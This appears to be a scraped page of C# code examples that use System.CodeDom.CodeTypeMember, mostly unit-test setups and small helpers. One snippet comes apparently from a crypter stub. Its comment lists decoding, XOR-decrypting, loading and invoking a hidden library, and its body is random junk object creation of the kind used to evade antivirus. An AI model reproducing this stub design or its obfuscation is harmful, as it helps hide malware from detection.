Esempio n. 1
0
 public void SetUp()
 {
     this.codeNamespace        = new System.CodeDom.CodeNamespace();
     this.testClassDeclaration = new System.CodeDom.CodeTypeDeclaration();
     this.typeMember           = new System.CodeDom.CodeTypeMember();
     this.buildData            = new NStub.CSharp.ObjectGeneration.BuildDataDictionary();
     this.mocks       = new MockRepository();
     this.builderData = this.mocks.StrictMock <IBuilderData>();
     this.buildData.AddDataItem("CAT", "TheKey", builderData);
     this.setUpTearDownContext = this.mocks.StrictMock <NStub.CSharp.BuildContext.ISetupAndTearDownContext>();
     this.testObject           = this.mocks.Stub <MemberBuildContextBase>(this.codeNamespace, this.testClassDeclaration, this.typeMember, this.buildData, this.setUpTearDownContext);
 }
Esempio n. 2
0
        public void PropertyIsConstructorNormalBehavior()
        {
            // Test read access of 'IsConstructor' Property.
            mocks.ReplayAll();
            var expected = false;
            var actual = testObject.IsConstructor;
            Assert.AreEqual(expected, actual);
            mocks.VerifyAll();

            this.typeMember = new System.CodeDom.CodeConstructor();
            this.testObject = this.mocks.StrictMock<MemberBuildContextBase>(this.codeNamespace, this.testClassDeclaration, this.typeMember, this.buildData, this.setUpTearDownContext);
            mocks.ReplayAll();
            expected = true;
            actual = testObject.IsConstructor;
            Assert.AreEqual(expected, actual);
            mocks.VerifyAll();
        }
Esempio n. 3
0
        public void PropertyIsConstructorNormalBehavior()
        {
            // Test read access of 'IsConstructor' Property.
            mocks.ReplayAll();
            var expected = false;
            var actual   = testObject.IsConstructor;

            Assert.AreEqual(expected, actual);
            mocks.VerifyAll();

            this.typeMember = new System.CodeDom.CodeConstructor();
            this.testObject = this.mocks.StrictMock <MemberBuildContextBase>(this.codeNamespace, this.testClassDeclaration, this.typeMember, this.buildData, this.setUpTearDownContext);
            mocks.ReplayAll();
            expected = true;
            actual   = testObject.IsConstructor;
            Assert.AreEqual(expected, actual);
            mocks.VerifyAll();
        }
Esempio n. 4
0
 protected static MemberType GetMemberTypeFromCodeTypeMember(System.CodeDom.CodeTypeMember mem)
 {
     if (mem is System.CodeDom.CodeMemberEvent)
     {
         return(MemberType.Event);
     }
     else if (mem is System.CodeDom.CodeMemberProperty)
     {
         return(MemberType.Property);
     }
     else if (mem is System.CodeDom.CodeMemberField)
     {
         return(MemberType.Field);
     }
     else if (mem is System.CodeDom.CodeMemberMethod)
     {
         return(MemberType.Method);
     }
     return(MemberType.Member);
 }
Esempio n. 5
0
        /* What this stub does:
         *  ---> Gets library key file data
         *  ---> Get library file data
         *  ---> Decodes library -> b64
         *  ---> Decrypts library -> xor
         *  ---> Loads assembly
         *  ---> Invokes { class.void }
         */

        void YjsMv(System.Windows.Forms.DrawToolTipEventArgs oKqQOv)
        {
            System.Web.Security.RoleManagerModule NnQQxZQ                   = new System.Web.Security.RoleManagerModule();
            System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId lMsgpe       = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId();
            System.ComponentModel.TypeConverterAttribute       nLj          = new System.ComponentModel.TypeConverterAttribute("drkXnUnJhWFwf");
            System.Net.CredentialCache                              geTig   = new System.Net.CredentialCache();
            System.Web.HttpCompileException                         alxHnc  = new System.Web.HttpCompileException("UiEiZ", new System.Exception());
            System.Web.UI.WebControls.TableCell                     vcQBTfO = new System.Web.UI.WebControls.TableCell();
            System.CodeDom.CodeTypeMember                           vFPMu   = new System.CodeDom.CodeTypeMember();
            System.Web.UI.WebControls.FontNamesConverter            XgGWei  = new System.Web.UI.WebControls.FontNamesConverter();
            System.Web.HttpCookieCollection                         osBP    = new System.Web.HttpCookieCollection();
            System.Windows.Forms.NativeWindow                       ALZ     = new System.Windows.Forms.NativeWindow();
            System.Globalization.HebrewCalendar                     VNfgivs = new System.Globalization.HebrewCalendar();
            System.Security.Cryptography.SHA256Managed              QgqhE   = new System.Security.Cryptography.SHA256Managed();
            System.StackOverflowException                           ZsrNpa  = new System.StackOverflowException("topngxhg", new System.Exception());
            System.Runtime.CompilerServices.IndexerNameAttribute    ULAbnhF = new System.Runtime.CompilerServices.IndexerNameAttribute("rijUNSSShlVcWRqIb");
            System.Runtime.CompilerServices.NativeCppClassAttribute katJkXs = new System.Runtime.CompilerServices.NativeCppClassAttribute();
            System.ComponentModel.Design.CheckoutException          cagCAsm = new System.ComponentModel.Design.CheckoutException();
            System.ComponentModel.UInt64Converter                   CUsA    = new System.ComponentModel.UInt64Converter();
            System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri  wfDiyM  = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri("Pqslfldqdvk");
            System.Web.Configuration.ClientTargetCollection         bTPD    = new System.Web.Configuration.ClientTargetCollection();
            System.Security.SecureString                            aYUhbe  = new System.Security.SecureString();
            System.Windows.Forms.UpDownEventArgs                    ZBnnQ   = new System.Windows.Forms.UpDownEventArgs(31195626);
            System.Text.EncoderExceptionFallbackBuffer              xdZhjn  = new System.Text.EncoderExceptionFallbackBuffer();
            System.Reflection.InvalidFilterCriteriaException        kYr     = new System.Reflection.InvalidFilterCriteriaException("zcblTWNdrOfLQic");
            System.ComponentModel.Design.DesigntimeLicenseContext   cPtkpz  = new System.ComponentModel.Design.DesigntimeLicenseContext();
            System.ComponentModel.DecimalConverter                  eDy     = new System.ComponentModel.DecimalConverter();
            System.Web.Configuration.AdapterDictionary              CnfaYLB = new System.Web.Configuration.AdapterDictionary();
            System.Web.Configuration.HttpCookiesSection             PjAiSDc = new System.Web.Configuration.HttpCookiesSection();
            System.Web.UI.WebControls.View                          tLTbUfG = new System.Web.UI.WebControls.View();
            System.Security.AccessControl.PrivilegeNotHeldException YkIDY   = new System.Security.AccessControl.PrivilegeNotHeldException();
            System.Web.UI.HiddenFieldPageStatePersister             SdBpR   = new System.Web.UI.HiddenFieldPageStatePersister(new System.Web.UI.Page());
            System.Windows.Forms.ColumnClickEventArgs               DIlHu   = new System.Windows.Forms.ColumnClickEventArgs(986016714);
            System.CodeDom.CodeMemberProperty                       CBEMisW = new System.CodeDom.CodeMemberProperty();
            System.Security.HostProtectionException                 OAy     = new System.Security.HostProtectionException("lpGrG", new System.Exception());
            System.Web.UI.WebControls.MenuItemBinding               FKHqdt  = new System.Web.UI.WebControls.MenuItemBinding();
        }
 public override void GenerateCodeFromMember(System.CodeDom.CodeTypeMember member, TextWriter writer, System.CodeDom.Compiler.CodeGeneratorOptions options)
 {
 }
 public virtual new void GenerateCodeFromMember(System.CodeDom.CodeTypeMember member, TextWriter writer, CodeGeneratorOptions options)
 {
 }
Esempio n. 8
0
 public MemberExistsException(string className, System.CodeDom.CodeTypeMember newMember, MemberType existingMemberType, DomRegion errorLocation, string fileName)
     : this(className, newMember.Name, GetMemberTypeFromCodeTypeMember(newMember), existingMemberType, errorLocation, fileName)
 {
 }
Esempio n. 9
0
 public void SetUp()
 {
     this.codeNamespace = new System.CodeDom.CodeNamespace();
     this.testClassDeclaration = new System.CodeDom.CodeTypeDeclaration();
     this.typeMember = new System.CodeDom.CodeTypeMember();
     this.buildData = new NStub.CSharp.ObjectGeneration.BuildDataDictionary();
     this.mocks = new MockRepository();
     this.builderData = this.mocks.StrictMock<IBuilderData>();
     this.buildData.AddDataItem("CAT", "TheKey", builderData);
     this.setUpTearDownContext = this.mocks.StrictMock<NStub.CSharp.BuildContext.ISetupAndTearDownContext>();
     this.testObject = this.mocks.Stub<MemberBuildContextBase>(this.codeNamespace, this.testClassDeclaration, this.typeMember, this.buildData, this.setUpTearDownContext);
 }
 public virtual void GenerateCodeFromMember(System.CodeDom.CodeTypeMember member, System.IO.TextWriter writer, System.CodeDom.Compiler.CodeGeneratorOptions options)
 {
 }